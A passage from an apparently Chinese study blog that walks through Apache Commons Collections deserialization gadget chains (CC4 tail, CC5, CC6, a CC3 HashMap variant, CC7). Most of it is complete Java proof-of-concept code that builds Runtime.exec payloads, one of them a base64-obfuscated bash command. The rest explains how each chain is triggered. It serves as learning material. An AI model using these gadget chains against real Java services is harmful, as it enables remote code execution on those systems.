comparator = new TransformingComparator(chain); PriorityQueue queue = new PriorityQueue(); setField(queue,"size" ,2 ); setField(queue,"comparator" ,comparator); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } public static void setField (Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } }
解析
感觉和CC2
差不多,就是后面的利用链子,由于是TrAXFilter
构造函数直接触发的,所以不用设置PriorityQueue.queue
为TemplatesImpl
,没有什么太多的亮点。
五、CC5
JAVA源码版本-8u40
细节如下
1 2 3 4 BadAttributeValueExpException.readObject() TiedMapEntry.toString()->getValue() LazyMap.get() ChainedTransformer.transform()
限制
JDK
版本:暂无
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import javax.management.BadAttributeValueExpException;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;public class CC5 { public static void main (String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] {null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[]{"./test.sh" })}); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); TiedMapEntry tiedmap = new TiedMapEntry(map,123 ); BadAttributeValueExpException poc = new BadAttributeValueExpException(1 ); Field val = Class.forName("javax.management.BadAttributeValueExpException" ).getDeclaredField("val" ); val.setAccessible(true ); val.set(poc,tiedmap); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5" )); outputStream.writeObject(poc); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
解析
BadAttributeValueExpException.readObject()
valObj
即为TiedMapEntry
TiedMapEntry.toString()->getValue()
后续的map
即为LazyMap
,key
为123
LazyMap.get()
还是经典的链子CIR
🔺注
在设置BadAttributeValueExpException
对象时,使用的是其中的Field
来进行设置的
1 2 3 4 BadAttributeValueExpException poc = new BadAttributeValueExpException(1 ); Field val = Class.forName("javax.management.BadAttributeValueExpException" ).getDeclaredField("val" ); val.setAccessible(true ); val.set(poc,tiedmap);
原因在于在BadAttributeValueExpException
构造函数及readObject
函数中,有如下代码
这样就能在序列化时不进行本地RCE
,而在服务器反序列化时进行RCE
,因为如果在序列化时进行本地RCE
,val
就会由于链子变成Runtime
类,由于Runtime
没办法直接序列化,所以其val
就会变成如下执行命令结果的字符串,从而在反序列时没办法调用到TiedMapEntry.toString()
对比原POC
如下,其val
在序列化时还是一个TiedMapEntry
对象
无数组
至于无数组版本的,即如下所示
做点小改动,在TiedMapEntry
中传入TemplatesImpl
即可,确保在LazyMap.get()
的时候,传入的key
为TemplatesImpl
,从而进行调用到对应的TemplatesImpl.newTransformer()
。
相关POC
如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import test.test;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC5T { public static void main (String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(String.valueOf(AbstractTranslet.class)); CtClass ctClass = pool.get(test.class.getName()); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,Li90ZXN0LnNo}|{base64,-d}|{bash,-i}\");}" ; ctClass.makeClassInitializer().insertAfter(code); ctClass.setName("evil" ); byte [] bytes = ctClass.toBytecode(); TemplatesImpl tempIm = new TemplatesImpl(); setField(tempIm, "_name" , "asd" ); setField(tempIm, "_bytecodes" , new byte [][]{bytes}); setField(tempIm, "_tfactory" , new TransformerFactoryImpl()); InvokerTransformer invTransf = new InvokerTransformer("newTransformer" , null , null ); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,invTransf); TiedMapEntry tiedmap = new TiedMapEntry(map,tempIm); BadAttributeValueExpException poc = new BadAttributeValueExpException(1 ); setField(poc,"val" ,tiedmap); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5" )); outputStream.writeObject(poc); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } public static void setField (Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } }
六、CC6
JAVA源码版本-8u40
细节如下
1 2 3 4 5 HashSet.readObject() HashMap.put()->hash() TiedMapEntry.hashCode()->this.getValue() LazyMap.get() ChainedTransformer.transform()
限制
JDK
版本:暂无限制
Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import java.util.Set;public class CC6 { public static void main (String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[]{"./test.sh" })}); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); TiedMapEntry tiedmap = new TiedMapEntry(map,123 ); HashSet hashset = new HashSet(1 ); hashset.add("foo" ); Field field = Class.forName("java.util.HashSet" ).getDeclaredField("map" ); field.setAccessible(true ); HashMap hashset_map = (HashMap) field.get(hashset); Field table = Class.forName("java.util.HashMap" ).getDeclaredField("table" ); table.setAccessible(true ); Object[] array = (Object[])table.get(hashset_map); Object node = array[0 ]; if (node == null ){ node = array[1 ]; } Field key = node.getClass().getDeclaredField("key" ); key.setAccessible(true ); key.set(node,tiedmap); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6" )); outputStream.writeObject(hashset); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
解析
HashSet.readObject()
这个map
即设置为HashMap
HashMap.put()
这个key
后续设置为TiedMapEntry
TiedMapEntry.hashCode()
这里的map
即设置为Lazymap
LazyMap.get()
还是经典的链子CIR
🔺注
1.Hashset
设置
1 2 3 4 5 6 7 8 HashSet hashset = new HashSet(1 ); hashset.add("aaa" ); Field field = Class.forName("java.util.HashSet" ).getDeclaredField("map" ); field.setAccessible(true ); HashMap hashset_map = (HashMap) field.get(hashset);
获取HashSet
的map
成员为hashset_map
2.HashMap
设置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Field table = Class.forName("java.util.HashMap" ).getDeclaredField("table" ); table.setAccessible(true ); Object[] array = (Object[])table.get(hashset_map); Object node = array[0 ]; if (node == null ){ node = array[1 ]; } Field key = node.getClass().getDeclaredField("key" ); key.setAccessible(true ); key.set(node,tiedmap);
3.writeObject
和readObject
的关系
在HashSet
的readObject
中可以看到,//..
为省略的代码部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); int capacity = s.readInt(); float loadFactor = s.readFloat(); int size = s.readInt(); for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
按理说,调用map.put
,其函数如下,我们需要控制e
(即下面的key
)为TiedMapEntry
才能调用到TiedMapEntry.hashCode
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
但是E e = (E) s.readObject();
,也就是得看对应的HashSet.writeObject
中将什么序列化了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException { s.defaultWriteObject(); s.writeInt(map.capacity()); s.writeFloat(map.loadFactor()); s.writeInt(map.size()); for (E e : map.keySet()) s.writeObject(e); }
可以看到,对应的写入map
成员的capacity
、loadFactor
、size
以及其中的所有元素,同时在readObject
也是依照顺序一一对应进行读取,如下所示
所以在writeObject
的时候,在HashSet
中的map
成员的元素可控,那么在readObject
的时候,对应的元素也是可控的,可以设置为TiedMapEntry
。
所以在JAVA
中的writeObject
和readObject
是一一对应的,写入什么格式数据,就会依照什么格式数据读取。
CC3的HashMap版本
这边顺带提一下以下这两条链子,其实都差不多,大同小异,主要是前面的不太一样,直接借用HashMap
来进行触发。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;public class CC3_O { public static void main (String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[]{"touch ddd" })}); HashMap hashmap = new HashMap(); hashmap.put("aaa" ,"bbb" ); hashmap.put("ccc" ,"ddd" ); LazyMap map = (LazyMap)LazyMap.decorate(hashmap,chain); TiedMapEntry tiedmap = new TiedMapEntry(map,123 ); Field table = Class.forName("java.util.HashMap" ).getDeclaredField("table" ); table.setAccessible(true ); Object[] array = (Object[])table.get(hashmap); Object node = array[0 ]; if (node == null ){ node = array[1 ]; } setField(node,"key" ,tiedmap); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3_o" )); outputStream.writeObject(hashmap); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3_o" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } public static void setField (Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } }
也没啥好说的,往HashMap
中放两个元素,使其table
不为空,方便取出node
来设置TiedMapEntry
即可。
其他的就相当于去掉了HashSet
的CC6
了,触发点在HashMap.readObject()
下的计算hash
的地方
七、CC7
JAVA源码版本-8u40
细节如下:
1 2 3 4 Hashtable.readObject()->reconstitutionPut() LazyMap.equals()==AbstractMapDecorator.equals() AbstractMap.equals() LazyMap.get()
限制
JDK
版本:暂无限制
Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.*;public class CC7 { public static void main (String[] args) throws Exception { Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"touch bbbb" }) }; Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap1.put("zZ" , 1 ); lazyMap2.put("yy" , 1 ); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); setField(transformerChain,"iTransformers" ,transformers); lazyMap2.remove("zZ" ); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7" )); outputStream.writeObject(hashtable); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } public static void setField (Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } }
解析
Hashtable.readObject()
Hashtable.reconstitutionPut()
由于LazyMap
继承了AbstractMapDecorator
,所以会调用到其equals
函数
LazyMap.equals()==AbstractMapDecorator.equals()
这里的equals
接着往下跳转就不知道为什么会直接跳到AbstractMap.equals()
了
AbstractMap.equals()
LazyMap.get()
接着就是经典链子CCI
了。
🔺注
1.hashtable.put
两次
由于需要在Hashtable.reconstitutionPut()
中进入该循环,所以需要hashtable.put
两次,
2.反射设置CCI
链子
如果直接进行设置,那么在本地hashtable.put
的时候也会触发RCE
,那么在hashtable.put
之后再设置CCI
链,就不会本地触发RCE
了,这样是为了防止非预期的一些东西,就像在之前CC5
中预防本地RCE
一样。
3.hash碰撞
为什么put
的时候需要yy
和zZ
,这样是为了使得其生成的hash
相同,从而能够进行比较,在Hashtable.reconstitutionPut()
中能够通过前面的hash
相等条件
当然换成其他的能够进行hash
碰撞的也是一样的。
4.remove必要性
至于为什么需要lazyMap2.remove("zZ");
简单来说,就是第一次hashtable.put
的时候,由于hashtable.table
为null
,无法进入循环到如下的equals
函数触发LazyMap.get()
。
但是第二次的时候就会进入比较函数
从而进入到LazyMap.get()
调用空的transform
函数数组,返回一个key
导致我们的LazyMap2
会多一个key
如果保留下来,就无法进入到在AbstractMap.equals
对应触发漏洞的地方,在如下地方就直接没掉,那么就需要去掉lazyMap2
下由于空的Transform
数组调用多出来的一个key
了,都是为了进行各种绕过。
总结
感觉差不多了,没什么太多的地方需要慢慢学习了。
本菜鸡觉得CC
链的学习主要就是分两部分吧
一部分是后面的用来调用命令的部分,我觉得叫命令链 比较合适,比如这里写到的经典链子CCI
,经典链子ITN
之类的,这部分都大同小异,暂时就那一些。
另一部分就是从readObject
调用到命令链 的部分,这部分通常是需要需要慢慢挖掘的,主要的点就是找能调用到transform
地方。